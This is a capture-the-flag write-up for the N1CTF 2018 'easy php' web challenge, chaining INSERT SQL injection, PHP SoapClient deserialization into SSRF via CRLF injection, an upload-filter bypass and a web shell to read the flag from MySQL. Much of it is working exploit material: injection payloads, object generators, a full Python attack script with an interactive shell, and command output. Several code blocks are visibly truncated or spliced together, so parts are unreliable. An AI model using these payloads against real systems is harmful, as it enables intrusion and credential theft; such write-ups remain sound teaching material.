Rating:

## easy php (Web, 540pt)

> Not racing, just enjoying the slow pace of life :)
>
> http://47.97.221.96
>
> Mirror: http://47.97.221.96:23333/
>
> [Dockerfile](a35ad7b6-56df-4cfc-bcba-089b83a8544b.Dockerfile)

![](site.png)

This was one of the toughest challenges I've ever worked on a CTF and it required the exploitation of several bugs in order to reach the flag, so let's start with an overview.

* Arbitrary file disclosure through backup files (`~`) and LFI
* INSERT SQLi in publish functionality to exfiltrate admin credentials through un/serialized PHP object
* SSRF (CRLF injection) through unsafe object deserialization to "bypass" `$_SERVER['REMOTE_ADDR'] === '127.0.0.1'` condition and get authenticated admin session
* File upload filtering bypass using PHP `~`+=,.;:/?|';
$password = '';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
```

We can simply precalculate all MD5 hashes (`92**3 == 778688`) and save them to a file which we can later use to solve all captchas.

```python
import hashlib
from itertools import product

c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
captchas = [''.join(i) for i in product(c, repeat=3)]

print '[+] Genering {} captchas...'.format(len(captchas))
with open('captchas.txt', 'w') as f:
for k in captchas:
f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')
```

#### Getting admin credentials

Now that we have a user account let's go to the more serious staff. The application actually exposes two main functionalities to authenticated non-admin users.

**Publish:**

```
POST /index.php?action=publish HTTP/1.1
Host: 47.97.221.96:23333
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Connection: close

signature=XXX&mood=0
```

**Allow sign in from different IP:**

```
POST /index.php?action=profile HTTP/1.1
Host: 47.97.221.96:23333
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Connection: close

adio=1
```

Code review reveals that the `signature` parameter in publish requests is vulnerable to INSERT SQLi.

```php
function publish()
{
//..
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
//..
}
```

The corresponding functions from config.php are given below.

```php
private function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}

public function insert($columns,$table,$values){
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);
return $result;
}
```

We can use a common SQLi payload for insert statements but in order to cope with the `preg_replace`, we must use backticks (`` ` ``) in place of single quotes (`'`). So, sending the following payload:

```
mood=0&signature=a`, `mood`); -- -
```

will result in the following MySQL query:

```
insert into ctf_user_signature( `userid`,`username`,`signature`,`mood` )
values ( '1','foo','a', 'mood'); -- -`,'0' )
```

Next step, is to extract data. In the index view we see that the `showmess()` function is used retrieve data from the `ctf_user_signature` table and present them to us. So, this a good place to look at what we should inject. The relevant code is given below.

```php
function showmess()
{
//..
$db = new Db();
@$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
if($ret) {
$data = array();
while ($row = $ret->fetch_row()) {
$sig = $row[1];
$mood = unserialize($row[2]);
$country = $mood->getcountry();
$ip = $mood->ip;
$subtime = $mood->getsubtime();
$allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
array_push($data, $allmess);
}
$data = json_encode(array('code'=>0,'data'=>$data));
return $data;
}
//..
}
```

So, the mood must be a valid serialized `Mood` object in order to avoid PHP throwing fatal errors upon deserialization and being able to exfiltrate admin's password. We must also take into account that the `addslahes()` function must be applied to the serialized object we inject. Below, a serialized `Mood` is given.

```
O:4:"Mood":3:{
s:4:"mood";i:0;
s:2:"ip";s:9:"127.0.0.1";
s:4:"date";i:1520664478;
}
```

I decided to use the `mood` parameter to extract data one byte at a time since it is an integer and it doesn't require a length to be specified in the object; thus it will be useful to extract any data we may need. We could definitely find other ways to extract data, also taking into account that the given endpoint seemed to be JSON injectable! :P

```
http://ip.taobao.com/service/getIpInfo.php?ip=x%22,%22country%22,%22pwn%22}}//
```

But anyway, let's ignore that. We have constructed our final injection payload as given below.

```
a`, (select concat(`O:4:\"Mood\":3:{s:4:\"mood\";i:`,ord(substr(password,1,1)),`;s:2:\"ip\";s:9:\"127.0.0.1\";s:4:\"date\";i:1520664478;}`) from ctf_users where is_admin=1 limit 1)); -- -
```

After our injection is inserted into the database, we can extract the `mood` bytes from the image filenames at index view. The solution is automated in the [solve_sqli.py](solve_sqli.py) script.

```
❯❯❯ python solve_sqli.py
[+] register(o3yipuuktb, ekmhxqhd13)
[+] login(o3yipuuktb, ekmhxqhd13)
[+] user session => que3r92vlqdsso9f6r81djvn51
[+] admin hash => 2533f492a796a3227b0c6f91d102cc36
```

The MD5 could not be cracked with either rockyou or any well-known online service but during the CTF admins provided an endpoint which could be used to "crack" the hash.

```
❯❯❯ curl http://47.52.137.90:20000/getmd5.php?md5=2533f492a796a3227b0c6f91d102cc36
nu1ladmin
```

And we have admin credentials.

```
admin:nu1ladmin
```

#### SSRF through unsafe object deserialization

Having acquired admin credentials, we try to login but we receive the message `You can only login at the usual address`. Looking into the relevant code, it seems that the administrator entry in the `ctf_users` table disallows logins from different IPs and the only IP address allowed is `127.0.0.1`.

```php
function login()
{
//...
$user = $ret->fetch_row();
if($user) {
if ($user[4] == '0' && $user[2] !== get_ip())
die("You can only login at the usual address");
//...
}
//...
}
```

During login, our IP address is obtained using the `get_ip()` function (as defined in config.php), and unfortunately there is no way to bypass it using HTTP request headers.

```php
function get_ip(){
return $_SERVER['REMOTE_ADDR'];
}
```

At the time I reached that point, the challenge had still 0 solves so I started thinking that we may need to find a way to spoof `REMOTE_ADDR`, so I spent several hours reading the relevant code in the PHP source. Of course, I had no luck with it! Taking into account the hints released by the challenge author, we were pointed towards finding a non-obivous SSRF to access the admin account.

After spending many hours stuck at this point, we started thinking that we have complete control over the object being deserialized and this is absolutely alarming. However, there are no _magic methods_ defined in the `Mood` class and our IP was always retrieved dynamically. As such, we thought that we may be able to use another PHP object that will somehow benefit us. Looking at the `showmess()` function where objects get deserialized, we have the following.

```php
function showmess()
{
//...
$db = new Db();
@$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
if($ret) {
$data = array();
while ($row = $ret->fetch_row()) {
$sig = $row[1];
$mood = unserialize($row[2]);
$country = $mood->getcountry();
$ip = $mood->ip;
$subtime = $mood->getsubtime();
$allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
array_push($data, $allmess);
}
$data = json_encode(array('code'=>0,'data'=>$data));
return $data;
}
else
return false;
//...
}
```

After deserialization, we see the function `getcountry()` called on the object. Initial thought was to enumerate all PHP objects that define a `getcountry()` method and see if there are any vulnerabilities we could exploit there. Unfortunately, there are no such classes. So, looking the other way around, it seems that there is a _magic method_ triggered upon calls to undefined methods. As we read in the [PHP documentation](https://secure.php.net/manual/en/language.oop5.overloading.php#object.call), this is the `__call()` method.

> `__call()` is triggered when invoking inaccessible methods in an object context.

The following code was used to enumerate all PHP classes that define the `__call()` method.

```php

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1:8080/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>
```

Initially, only the `uri` parameter was chosen to craft our exploit. So, our test code is modified as shown below to see where the injection takes place in the HTTP request.

```php
"http://127.0.0.1:8080/\x0d\x0aURI_INJECTION",
'location' => 'http://127.0.0.1:8080/'
);
// Set the first parameter of SoapClient to null,
// in order to run in non-WSDL mode.
$soap = new SoapClient(null, $p);
$serial_soap = serialize($soap);
$unserial_soap = unserialize($serial_soap);
$unserial_soap->getcountry();
```

The CRLF injection has been reflected in the request.

```
POST / HTTP/1.1
Host: 127.0.0.1:8080
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.1.12
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1:8080/
URI_INJECTION#getcountry"
Content-Length: 407

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1:8080/
URI_INJECTION" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>
```

We must adapt our payload to meet the following requirements:

1. The `Content-Type` must be set to `application/x-www-form-urlencoded`
2. The `Content-Length` must be set to the length of the data we want to POST
3. The requests must include our POST data
4. The default SOAP envelope and remaining HTTP request headers must be somehow ignored and not affect the login request

The approach we followed to match all requirements was to craft 3 separate requests with the one in the middle (the only one we will completely control) being the login request. The _trick_ here is to terminate the first request using the `Content-Length: 0` request header, which will terminate it and allow the second request to be read separately. The last request will be used to discard all unwanted data, such as the remaining HTTP headers and the SOAP envelope.

The SSRF payload up to this point, looks like this:

```
http://127.0.0.1/
Content-Length:0

POST /index.php?action=login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

username=admin&password=nu1ladmin&code=XXX

POST /foo
```

But there are still 2 problems we must overcome:

1. How do we get any response back from the server?
2. How do we solve the captcha through the SSRF?

Fortunately, there is a simple solution that will address both issues. We can pre-generate a session from our browser, solve the captcha locally, and send the `PHPSESSID` cookie alongside the request as well as the solution to the capctha (solution to the captcha is tied to our session). If the SSRF succeeds, the `PHPSESSID` will be an admin authenticated session.

The following code has been used to generate the serialized object that will trigger our SSRF.

```php
"http://127.0.0.1/\x0d\x0aContent-Length: 0\x0d\x0a\x0d\x0a\x0d\x0aPOST /login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID=XXX\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 42\x0d\x0a\x0d\x0ausername=admin&password=nu1ladmin&code=XXX\x0d\x0a\x0d\x0aPOST /foo",
'location' => 'http://127.0.0.1/'
);
$soap = new SoapClient(null, $p);
$serial_soap = serialize($soap);
var_dump($serial_soap);
```

And this is the final payload sent to the server.

```
POST /index.php?action=publish HTTP/1.1
Host: 47.97.221.96:23333
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.18.1
Cookie: PHPSESSID=rfiaqul0ek01lgvsbgg1pls252
Content-Length: 889
Content-Type: application/x-www-form-urlencoded

mood=0&signature=a%60%2C+0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a3237313a22687474703a2f2f3132372e302e302e312f0d0a436f6e74656e742d4c656e6774683a300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d343272726d313632766d3266387372756a626b697669357538370d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a2034320d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6e75316c61646d696e26636f64653d4928290d0a0d0a504f5354202f666f6f0d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31333a225f736f61705f76657273696f6e223b693a313b7d%29%3B+--+
```

![](site-admin.png)

#### Getting RCE through unsafe file upload

Admin accounts have access to upload functionality, which we must obviously target to get RCE on the server. The related functions are given below.

```php
// index.php
function publish()
{
//..
if(isset($_FILES['pic'])) {
if (upload($_FILES['pic'])){
echo 'upload ok!';
return true;
}
else {
echo "upload file error";
return false;
}
}
//..
}
```

```php
// config.php
function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}
```

This is what happens on file uploads:

* All uploaded files must be < 2MB
* Mime-type must be either `image/jpeg` or `image/pjpeg` (easy to spoof)
* Files are uploaded in `adminpic/` folder with the name `$file_true_name.time().rand(1,100).'.jpg'`
* **After a file has been uploaded**, it will be removed if it has ` Off => Off
```

As we read in the [PHP documentation](https://secure.php.net/manual/en/ini.core.php#ini.short-open-tag):

> Since PHP 5.4.0, `=0)`) is **broken** (to our bad) and will always evaluate to `true` irregardless of the content we upload.

```
❯❯❯ php -r "var_dump(stripos('no_tag_here', '= 0);'
bool(true)
```

```
(╯°□°)╯︵ ┻━┻
```

However, for some reason (that I really don't understand) that didn't work on the application. Even though it will always evaluate to `true`, our shell was not removed from the server if the ` ' + sess.cookies.get_dict()['PHPSESSID']

print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()

ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 42\x0d\x0a\x0d\x0ausername=admin&password=nu1ladmin&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))

payload = 'a`, {}); -- -'.format(mood)

print '[+] final sqli/ssrf payload: ' + payload

print '[+] injecting payload through sqli'
resp = publish(payload, '0')

print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})

print '[+] admin session => ' + phpsessid

# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})

print '[+] uploading stager'
shell = {'pic': ('kkk.jpg', '");?>', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)#, proxies={'http':'127.0.0.1:8080'})
prc_now = get_prc_now()[:-1] # get epoch immediately

if 'upload ok' not in resp.text:
print '[-] failed to upload shell, check admin session manually'
sys.exit(0)

print '[+] bruteforcing uploaded file...'
stager = brute_filename('kkk', prc_now, phpsessid)

if not stager:
print '[-] cannot find uploaded file, try again :('
sys.exit(0)

print '[+] stager => {}../adminpic/{}'.format(_action, stager)
resp = sess.get(_action+'../adminpic/'+stager)

shell = _target+'wshell.php'
print '[+] shell => {}\n'.format(shell)

while True:
cmd = raw_input('$ ').strip()
if cmd == 'exit' or cmd == 'quit':
break
resp = requests.get('{}?0={}'.format(shell, cmd))
print resp.text
```

```
❯❯❯ python solve_ssrf_rce.py
[+] creating user session to trigger ssrf
[+] register(sttozcf7wn, u4t6s3m5ym)
[+] login(sttozcf7wn, u4t6s3m5ym)
[+] user session => 0tn8db2fpp79rj68cdbq6thi13
[+] getting fresh session to be authenticated as admin
[+] final sqli/ssrf payload: a`, 0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a3237313a22687474703a2f2f3132372e302e302e312f0d0a436f6e74656e742d4c656e6774683a300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d343272726d313632766d3266387372756a626b697669357538370d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a2034320d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6e75316c61646d696e26636f64653d4928290d0a0d0a504f5354202f666f6f0d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31333a225f736f61705f76657273696f6e223b693a313b7d); -- -
[+] injecting payload through sqli
[+] triggering object deserialization -> ssrf
[+] admin session => ls62913aenuq4vvqcoftkb03o4
[+] uploading stager
[+] bruteforcing uploaded file...
[+] stager => http://47.97.221.96:23333/index.php?action=../adminpic/kkk152075889095.jpg
[+] shell => http://47.97.221.96:23333/wshell.php

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

And up to that point we realized that the challenge author wants to ruin our lives! The flag was not stored anywhere in the filesystem. Doing some more enumeration we recall that we have 2 sets of credentials for the database, including `root`.

```
$ printf 'TnUxTGN0ZiUjfjpw' | base64 -d > dbpass.txt
$ mysql -uroot -p$(cat dbpass.txt) -e "use flag; select flag from flag"
flag
N1CTF{php_unserialize_ssrf_crlf_injection_is_easy:p}
```

## References

* https://www.slideshare.net/MailRuGroup/security-meetup-22-php-unserialize-exploiting
* https://www.ptsecurity.com/upload/iblock/dac/daca495893852753dac1d0b17f51df19.pdf
* https://www.youtube.com/watch?v=5AdVQzUB6iM
* http://lab.truel.it/php-object-injection-the-dirty-way/

Original writeup (https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540).